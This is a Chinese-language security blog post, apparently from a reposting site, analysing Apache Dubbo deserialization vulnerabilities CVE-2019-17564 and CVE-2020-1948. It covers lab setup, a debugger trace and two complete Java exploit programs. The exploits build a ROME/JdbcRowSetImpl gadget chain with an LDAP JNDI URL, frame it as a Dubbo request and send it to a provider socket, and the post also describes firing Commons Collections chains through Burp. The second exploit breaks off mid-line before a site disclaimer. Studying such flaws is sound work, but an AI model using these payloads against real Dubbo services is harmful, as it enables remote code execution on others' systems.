首先,先介绍一下JAVA RPC
apache Dubbo反序列化
JAVA RPC
Java RPC(Remote Procedure Call)是一种允许在分布式系统中执行跨进程通信的技术。它使得一个程序可以调用位于不同地址空间(通常是不同的计算机上)的方法,就像调用本地方法一样,而不需要关注底层的网络通信细节。Java RPC 在分布式系统开发中具有重要作用,常用于微服务架构和分布式应用程序。
-
JAVA RPC的工作原理:
其实RMI就是属于一种JAVA RPC。
客户端通过调用Client Stub的方法发起请求,代理对象将方法调用和参数封装为请求消息。然后把消息序列化后发送,服务端也有Server Stub接收请求消息,反序列化为方法调用和参数。然后服务端调用实际的方法并序列化结果传输给Client Stub。
注册中心用于记录服务的地址信息,常用的构建工具有Zookeeper、Eureka、Consul。Dubbo官方推荐为Zookeeper
-
JAVA 中的RPC框架:包括JAVA RMI、gRPC、Dubbo、Thrift,这些框架的对比如下
hessian 是一种跨语言的高效二进制序列化方式。但Dubbo Hessian实际不是原生的 hessian2 序列化,而是阿里修改过的 hessian lite
Dubbo
Dubbo 提供了内置 RPC 通信协议实现,但它不仅仅是一款 RPC 框架。首先,它不绑定某一个具体的 RPC 协议,开发者可以在基于 Dubbo 开发的微服务体系中使用多种通信协议;其次,除了 RPC 通信之外,Dubbo 提供了丰富的服务治理能力与生态。
在Dubbo架构中,服务端和客户端分别被称作Provider(提供者)、Consumer(消费者)
环境搭建
下载zookeeper官网的稳定版
https://www.apache.org/dyn/closer.lua/zookeeper/zookeeper-3.8.4/apache-zookeeper-3.8.4-bin.tar.gz
修改conf目录下的zoo_sample.cfg,名称改为zoo.cfg,创建data和log目录,配置内容如下:
tickTime=2000
initLimit=10
syncLimit=5
dataDir=C:\\Users\\xxx\\Desktop\\zookeeper‐3.4.14\\conf\\data
dataLogDir=C:\\Users\\xxx\\Desktop\\zookeeper‐3.4.14\\conf\\log
clientPort=2181
windows下双击bin目录下的zkServer.cmd即可启动
根据dubbo官网可以快速创建一个基于Spring Boot的Dubbo应用,不过是3.3版本的dubbo:
https://dubbo-202409.staged.apache.org/zh-cn/overview/mannual/java-sdk/quick-start/spring-boot/
2.6.x版本的环境:
https://github.com/apache/dubbo-samples/tree/2.6.x
zookeeper归档:
https://archive.apache.org/dist/zookeeper/
解释一下spring xml中的配置:
-
配置协议:
<dubbo:protocol name="dubbo" port="20880" />
-
设置服务默认协议
<dubbo:provider protocol="dubbo" />
-
设置服务协议
<dubbo:service protocol="dubbo" />
比如用hessian协议:
<dubbo:service protocol="hessian"/>
-
多端口
<dubbo:protocol name="dubbo" port="20880" />
<dubbo:protocol name="dubbo" port="20881" />
引用服务:
<dubbo:reference protocol="hessian"/>
http协议暴露服务:
<bean />
<dubbo:service interface="org.apache.dubbo.samples.http.api.DemoService" ref="demoService" protocol="http"/>
CVE-2019-17564
该漏洞源于dubbo开启http协议后,会把消费者提交的请求在无安全校验的情况下交给spring-web.jar处理,在request.getInputStream被反序列化
-
漏洞范围:
2.7.0 <= Apache Dubbo <= 2.7.4
2.6.0 <= Apache Dubbo <= 2.6.7
Apache Dubbo = 2.5.x
直接看到dubbo-sample-http模块
在该模块下添加CC依赖测试漏洞
改下http port为80,原来是8080,和burp冲突了
官方给的demo不用单独开个zookeeper,代码已经集成了。如果想单独开一个可以把new EmbeddedZooKeeper注释掉
bp向/org.apache.dubbo.samples.http.api.DemoService
打CC链,弹出计算器
弹不出的看下request 16进制,0d 0a 0d 0a
换行后紧接的应该是ac ed 00 05
的反序列化头
就不从头分析了,分发过程太复杂了
断点打在com.alibaba.dubbo.remoting.http.servlet.DispatcherServlet#service
在2.7.x版本软件包已经从com.alibaba转移到了org.apache
org.apache.dubbo.remoting.http.servlet
而且rpc软件包也进行了修改,使用2.7版本进行测试,环境使用下面的demo,此处省略
https://github.com/apache/dubbo-spring-boot-project/tree/2.7.x
pom区别:2.6.x:
<dependency>
com.alibaba
Dubbo
2.6.7
2.7.x:
org.apache.dubbo
dubbo
2.7.3
由于协议是http,进入该DispatcherServlet
判断了是否为POST,否则返回500
此时的skeleton是HttpInvokerServiceExporter,这是个spring http的类
继续调用HttpInvokerServiceExporter.handleRequest
跟进到readRemoteInvocation,先调用createObjectInputStream创建一个ObjectInputStream
这里参数里的is
就是我们POST的数据,等于说就是用ObjectInputStream封装了参数is
然后调用doReadRemoteInvocation,里面直接调用了readObject,触发反序列化漏洞
但是这个洞有很多限制:
-
Dubbo默认通信协议是Dubbo协议,而不是HTTP
-
需要提前知道目标的RPC接口名
在2.7.5及以后版本不再使用HttpInvokerServiceExporter处理http请求,而是使用com.googlecode.jsonrpc4j.JsonRpcServer,调用其父类的JsonRpcBasicServer#handle处理
CVE-2020-1948 Hessian反序列化
-
漏洞范围:
Apache Dubbo 2.7.0 ~ 2.7.6
Apache Dubbo 2.6.0 ~ 2.6.7
Apache Dubbo 2.5.x 所有版本 (官方不再提供支持)。
在实际测试中2.7.8补丁绕过可以打,而2.7.9失败
在marshalsec中,给了Hessian的几条利用链:
Rome、XBean、Resin、SpringPartiallyComparableAdvisorHolder、SpringAbstractBeanFactoryPointcutAdvisor
ROME链
调试前关闭启用"toString"对象试图
,否则漏洞会提前触发
由于2.6.x和2.7.x的dubbo包名不同,所以反序列化的payload也不同。如果目标是2.6.x则payload对应修改为com.alibaba.dubbo,如果目标是2.7.x则payload对应修改为org.apache.dubbo
2.7.3的环境:
https://github.com/apache/dubbo-spring-boot-project/tree/2.7.3
使用该demo的dubbo-spring-boot-samples/auto-configure-samples的provider-sample DubboAutoConfigurationProviderBootStrap
在provider-samples下的pom中加入rome依赖
<dependency>
<groupId>com.rometools</groupId>
<artifactId>rome</artifactId>
<version>1.8.0</version>
</dependency>
JNDI注入如下:
注意引入dubbo、rome和已编译的marshalsec作为依赖,自带了zk,不用单独开了
<repositories>
<repository>
<id>org.example</id>
<name>marshalsec</name>
<url>file:${project.basedir}/lib</url>
</repository>
</repositories>
<dependency>
<groupId>org.exploit</groupId>
<artifactId>marshalsec</artifactId>
<version>1.0</version>
<scope>system</scope>
<systemPath>${project.basedir}/lib/marshalsec-0.0.3-SNAPSHOT-all.jar</systemPath>
</dependency>
<dependency>
<groupId>com.rometools</groupId>
<artifactId>rome</artifactId>
<version>1.8.0</version>
</dependency>
<dependency>
<groupId>org.apache.dubbo</groupId>
<artifactId>Dubbo</artifactId>
<version>2.7.3</version>
</dependency>
<dependency>
<groupId>com.caucho</groupId>
<artifactId>hessian</artifactId>
<version>4.0.38</version>
</dependency>
漏洞触发点1
该触发点可以一直沿用到2.7.13
POC:
package org.exploit.third.Dubbo;
import com.caucho.hessian.io.Hessian2Output;
import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.rowset.JdbcRowSetImpl;
import java.io.ByteArrayOutputStream;
import java.io.OutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.net.Socket;
import java.util.HashMap;
import java.util.Random;
import marshalsec.HessianBase;
import marshalsec.util.Reflections;
import org.apache.dubbo.common.io.Bytes;
import org.apache.dubbo.common.serialize.Cleanable;
//Apache Dubbo 2.7.0 ~ 2.7.13
//Apache Dubbo 2.6.0 ~ 2.6.7
//Apache Dubbo 2.5.x 所有版本 (官方不再提供支持)。
//在实际测试中2.7.8补丁绕过
public class GadgetsTestHessian {
public static void main(String[] args) throws Exception {
JdbcRowSetImpl rs = new JdbcRowSetImpl();
//todo 此处填写ldap url
rs.setDataSourceName("ldap://127.0.0.1:8085/GQOsPFQU");
rs.setMatchColumn("foo");
Reflections.setFieldValue(rs, "listeners",null);
ToStringBean item = new ToStringBean(JdbcRowSetImpl.class, rs);
EqualsBean root = new EqualsBean(ToStringBean.class, item);
HashMap s = new HashMap<>();
Reflections.setFieldValue(s, "size", 1);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 1);
Array.set(tbl, 0, nodeCons.newInstance(0, root, root, null));
Reflections.setFieldValue(s, "table", tbl);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
// header.
byte[] header = new byte[16];
// set magic number.
Bytes.short2bytes((short) 0xdabb, header);
// set request and serialization flag.
header[2] = (byte) ((byte) 0x80 | 0x20 | 2);
// set request id.
Bytes.long2bytes(new Random().nextInt(100000000), header, 4);
ByteArrayOutputStream hessian2ByteArrayOutputStream = new ByteArrayOutputStream();
Hessian2Output out = new Hessian2Output(hessian2ByteArrayOutputStream);
HessianBase.NoWriteReplaceSerializerFactory sf = new HessianBase.NoWriteReplaceSerializerFactory();
sf.setAllowNonSerializable(true);
out.setSerializerFactory(sf);
out.writeObject(s);
out.flushBuffer();
if (out instanceof Cleanable) {
((Cleanable) out).cleanup();
}
Bytes.int2bytes(hessian2ByteArrayOutputStream.size(), header, 12);
byteArrayOutputStream.write(header);
byteArrayOutputStream.write(hessian2ByteArrayOutputStream.toByteArray());
byte[] bytes = byteArrayOutputStream.toByteArray();
//todo 此处填写被攻击的dubbo服务提供者地址和端口
Socket socket = new Socket("127.0.0.1", 20880);
OutputStream outputStream = socket.getOutputStream();
outputStream.write(bytes);
outputStream.flush();
outputStream.close();
}
}
第一个断点打在org.apache.dubbo.rpc.protocol.dubbo.DubboCountCodec#decode()
跟进到ExchangeCodec.decode,调用了另一个同名函数decode
该decode就是先检查魔数、数据长度、负载是否符合要求,如果没问题就调用decodeBody解码消息体,跟进decodeBody
DubboCodec#decodeBody()
是Dubbo解码Dubbo协议消息体的主要函数,根据消息类型(请求或响应)进行不同的处理,如下图if为真
就作为响应处理
我们发起的攻击是request,所以进入else。先跟进到CodecSupport.deserialize()
通过getSerialization获取反序列化器
反序列化器用一个HashMap静态变量ID_SERIALIZATION_MAP
存储了
根据url和id,用的键为2的反序列化器,也就是Hessian2Serialization
接着就能跟进到Hessian2Serialization.deserialize,实例化了一个Hessian2ObjectInput
中间有些loadClass加载caucho hessian类的过程
可以看见后面返回的封装内容,其中_is
就是我们传入的payload流
随后调用了ExchangeCodec.decodeHeartbeatData
在该方法内直接调用了Hessian2ObjectInput.readObject
继续跟进到Hessian2Input.readObject(List<Class<?>> expectedTypes)
处,直接跳到了case H(为什么是H后面会说),这里发现是取的Map的反序列化器
所以跳到了MapDeserializer.readMap,并调用了doReadMap
doReadMap循环readObject输入流,只不过此处的readObject是Hessian的readObject而不是原生的ObjectInputStream
OK此处用Hessian反序列化出了EqualsBean
在还原出EqualsBean后,会调用map.put
在put的时候,进入经典的put -> hash -> EqualsBean.hashCode() 触发ROME链的过程
现在我们回过头来可以发现,为什么会进入case H? 因为我们传输的就是个hashMap,以h打头,而且也解释了为什么会直接取的是MapDeserializer
而且在还原对象的时候,跟进到in.readObject
继续跟进五步左右,看到调用了instantiate
所以dubbo hessian反序列化是通过构造函数还原的类
payload之所以用反射装填hashMap,是怕提前触发了map.put
按理说hashMap.put也OK:
package org.exploit.third.Dubbo;
import com.caucho.hessian.io.Hessian2Output;
import com.rometools.rome.feed.impl.ObjectBean;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.rowset.JdbcRowSetImpl;
import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ToStringBean;
import marshalsec.HessianBase;
import marshalsec.util.Reflections;
import org.apache.dubbo.common.io.Bytes;
import org.apache.dubbo.common.serialize.Cleanable;
import javax.xml.transform.Templates;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.OutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.net.Socket;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Random;
//Apache Dubbo 2.7.0 ~ 2.7.6
//Apache Dubbo 2.6.0 ~ 2.6.7
//Apache Dubbo 2.5.x 所有版本 (官方不再提供支持)。
//在实际测试中2.7.8补丁绕过可以打,而2.7.9失败
public class diyTestHessian {
public static void main(String[] args) throws Exception {
JdbcRowSetImpl rs = new JdbcRowSetImpl();
//todo 此处填写ldap url
rs.setDataSourceName("ldap://127.0.0.1:8085/GQOsPFQU");
rs.setMatchColumn("foo");
Reflections.setFieldValue(rs, "listeners",null);
JdbcRowSetImpl rs1 = new JdbcRowSetImpl();
ToStringBean item = new ToStringBean(JdbcRowSetImpl.class, rs1);
EqualsBean root = new EqualsBean(ToStringBean.class, item);
HashMap s = new HashMap<>();
s.put(root,root);
Field field = ToStringBean.class.getDeclaredField("obj");
field.setAccessible(true);
field.set(item,rs);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
// header.
byte[] header = new byte[16];
// set magic number.
Bytes.short2bytes((short) 0xdabb, header);
// set request and serialization flag.
header[2] = (byte) ((byte) 0x80 | 0x20 | 2);
// set request id.
Bytes.long2bytes(new Random().nextInt(100000000), header, 4);
ByteArrayOutputStream hessian2ByteArrayOutputStream = new ByteArrayOutputStream();
Hessian2Output out = new Hessian2Output(hessian2ByteArrayOutputStream);
HessianBase.NoWriteReplaceSerializerFactory sf = new HessianBase.NoWriteReplaceSerializerFactory();
sf.setAllowNonSerializable(true);
out.setSerializerFactory(sf);
out.writeObject(s);
out.flushBuffer();
if (out instanceof Cleanable) {
((Cleanable) out).cleanup();
}
Bytes.int2bytes(hessian2ByteArrayOutputStream.size(), header, 12);
byteArrayOutputStream.write(header);
byteArrayOutputStream.write(hessian2ByteArrayOutputStream.toByteArray());
byte[] bytes = byteArrayOutputStream.toByteArray();
//todo 此处填写被攻击的dubbo服务提供者地址和端口
Socket socket = new Socket("127.0.0.1", 20880);
OutputStream outputStream = s
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)